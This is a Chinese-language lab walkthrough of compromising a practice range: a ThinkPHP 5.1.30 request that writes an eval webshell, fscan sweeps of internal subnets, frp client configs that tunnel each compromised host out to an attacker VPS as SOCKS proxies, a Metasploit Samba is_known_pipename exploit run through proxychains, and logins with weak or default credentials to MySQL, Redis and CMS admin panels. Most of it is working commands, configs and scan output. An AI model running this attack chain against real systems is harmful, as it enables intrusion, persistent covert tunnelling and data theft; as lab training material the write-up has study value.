靶场地址:
http://124.223.73.175:8080/public/
一、外网打点
一看thinkphp首先判断版本,url后随便输入字符注意:用工具getshell并不能判断是什么码,之后一直连不上了!这里重新手工利用
网上搜索thinkphp5.1.30漏洞,发现利用方式
直接写入一句话至aa.php
http://124.223.73.175:8080/public/?s=index/\think\template\driver\file/write&cacheFile=aa.php&content=<?php @eval($_POST['a']);?>
上传fscan扫描内网存活主机,上传后增加执行权限,noping参数跳过存活检测(实战中两种方式都需尝试)
chmod +x fscan_amd64
./fscan_amd64 -h 172.21.110.66/24
./fscan_amd64 -h 172.21.110.66/24 -np
扫描结果得到result.txt,发现Shirohttp://172.21.110.76:8080/login;jsessionid=4158AD1AABA3115453EA3A3157AEF1DE
明显是内网网址,访问不了,需要内网穿透
内网网段:192.168.x.x、172.16-31.x.x、10.x.x.x
二、内网穿透
curl vps成功,说明目标主机出网,通过反向代理工具frp进行内网穿透,上传frp服务端至vps上,frps.ini配置如下
[common]
# frp监听的端口,默认是7000,可以改成其他的
bind_port = 10000
# 授权码,请改成更复杂的
auth_token = 12345 # 这个token之后在客户端会用到
# frp管理后台端口,请按自己需求更改
dashboard_addr = 0.0.0.0
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = admin
[web]
type=http
custom_domains = 119.3.31.102
auth_token = 12345
vps启动frps
./frps -c frps.ini
注意:由于vps是云服务器,默认安全组策略没有放开,所以一直无法访问frp管理后台
http://119.3.31.102:7500/
打开vps安全组策略,即可访问在vps上配置好服务端后,上传frp客户端至靶机1(内网ip:172.21.110.66),frpc.ini配置如下
[common]
server_addr = 119.3.31.102
server_port = 10000
auth_token = 12345
tls_enable = true
[plugin_socks5]
type = tcp
remote_port = 23000
plugin = socks5
custom_domains = 119.3.31.102
use_encryption = true
use_compression = true
后台启动frp客户端,避免Godzilla断开后代理失效
nohup ./frpc -c frpc.ini >/dev/null 2>&1 &
代理完成,可以访问
http://172.21.110.76:8080/login;jsessionid=4158AD1AABA3115453EA3A3157AEF1DE
三、横向移动
重复刚才步骤,上传fscan上传后增加执行权限,扫描存活主机
chmod +x fscan_amd64
./fscan_amd64 -h 10.10.32.24/24
./fscan_amd64 -h 10.10.32.24/24 -np
扫描结果得到result.txt,发现
10.10.32.51:445 open
10.10.32.51:139 open
10.10.32.82:80 open
10.10.32.82:22 open
10.10.32.1:22 open
10.10.32.82:3306 open
10.10.32.1:8080 open
10.10.32.24:8080 open
10.10.32.82:6379 open
[*] WebTitle:http://10.10.32.24:8080 code:302 len:0 title:None
[*] WebTitle:http://10.10.32.1:8080 code:200 len:10 title:Index of /
[+] mysql:10.10.32.82:3306:root 123456
[*] WebTitle:http://10.10.32.24:8080/login;jsessionid=F0D2A95457555F766E56806174A690FD code:200 len:10 title:Login Page
[*] WebTitle:http://10.10.32.82 code:200 len:137 title:企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站模板
[+] InfoScan:http://10.10.32.24:8080/login;jsessionid=F0D2A95457555F766E56806174A690FD [Shiro]
[*] 10.10.32.51 (Windows 6.1)
此时无法访问10.10.32.*段,需测试靶机2(内网ip:10.10.32.24)能否出网,出网才可使用frp
curl 119.3.31.102
上传frpc,增加执行权限,frpc.ini配置如下
[common]
server_addr = 119.3.31.102
server_port = 10000
auth_token = 12345
tls_enable = true
[plugin_socks6]
type = tcp
remote_port = 23001
plugin = socks5
custom_domains = 119.3.31.102
use_encryption = true
use_compression = true
后台启动frp客户端
nohup ./frpc -c frpc.ini >/dev/null 2>&1 &
配置Proxifier1.使用超级弱口令检查工具检测SMB
10.10.32.51:445 open
本机Kali挂10.10段frp代理,kali代理配置如下vim /etc/proxychains4.conf
[ProxyList]
socks5 119.3.31.102 23001
使用smbclient连接apt-get install smbclient
proxychains smbclient -L 10.10.32.51 -U guest
kali代理启动msf
proxychains4 msfconsole
msf6 > use exploit/linux/samba/is_known_pipename
msf6 exploit(linux/samba/is_known_pipename) > show options
msf6 exploit(linux/samba/is_known_pipename) > set rhosts 10.10.32.51
msf6 exploit(linux/samba/is_known_pipename) > exploit
出现报错
[-] 10.10.32.51:445 - Exploit failed: RubySMB::Error::EncryptionError Communication error with the remote host: Socket read returned nil. The server supports encryption but was not able to handle the encrypted request.
百度参考:set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1
输入以上两条命令,然后exploit,即可执行任意命令查看myshare目录的文件proxychains smbclient //10.10.32.51/myshare -U guest
2.访问http://10.10.32.82/
3.使用Navicat Premium连接数据库
mysql:10.10.32.82:3306:root 123456
访问管理员后台地址:
http://10.10.32.82/admin
账号密码为:admin/admin
写入之后访问
http://10.10.32.82/a.php
上传shell.php,用Godzilla连接后上传fscan
./fscan_amd64 -h 192.168.38.159/24
得到result.txt
192.168.38.159:3306 open
192.168.38.182:80 open
192.168.38.159:80 open
192.168.38.1:8080 open
192.168.38.1:22 open
192.168.38.159:22 open
192.168.38.159:6379 open
192.168.38.59:6379 open
[+] mysql:192.168.38.159:3306:root 123456
[*] WebTitle:http://192.168.38.1:8080 code:200 len:10 title:Index of /
[+] Redis:192.168.38.59:6379 unauthorized
[*] WebTitle:http://192.168.38.159 code:200 len:137 title:企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站模板
[*] WebTitle:http://192.168.38.182 code:200 len:12 title:我的网站
此时无法访问192.168.38.*段,将靶机3(内网ip:192.168.38.159)利用frp反向代理,上传frpc,增加执行权限,frpc.ini配置如下
[common]
server_addr = 119.3.31.102
server_port = 10000
auth_token = 12345
tls_enable = true
[plugin_socks7]
type = tcp
remote_port = 23002
plugin = socks5
custom_domains = 119.3.31.102
use_encryption = true
use_compression = true
后台启动frp客户端
nohup ./frpc -c frpc.ini >/dev/null 2>&1 &
配置Proxifier(不再赘述)
4.使用Redis Desktop Manager连接Redis数据库
Redis:192.168.38.59:6379 unauthorized
5.访问http://192.168.38.182/
访问织梦管理后台http://192.168.38.182//dede
存在弱口令:admin/admin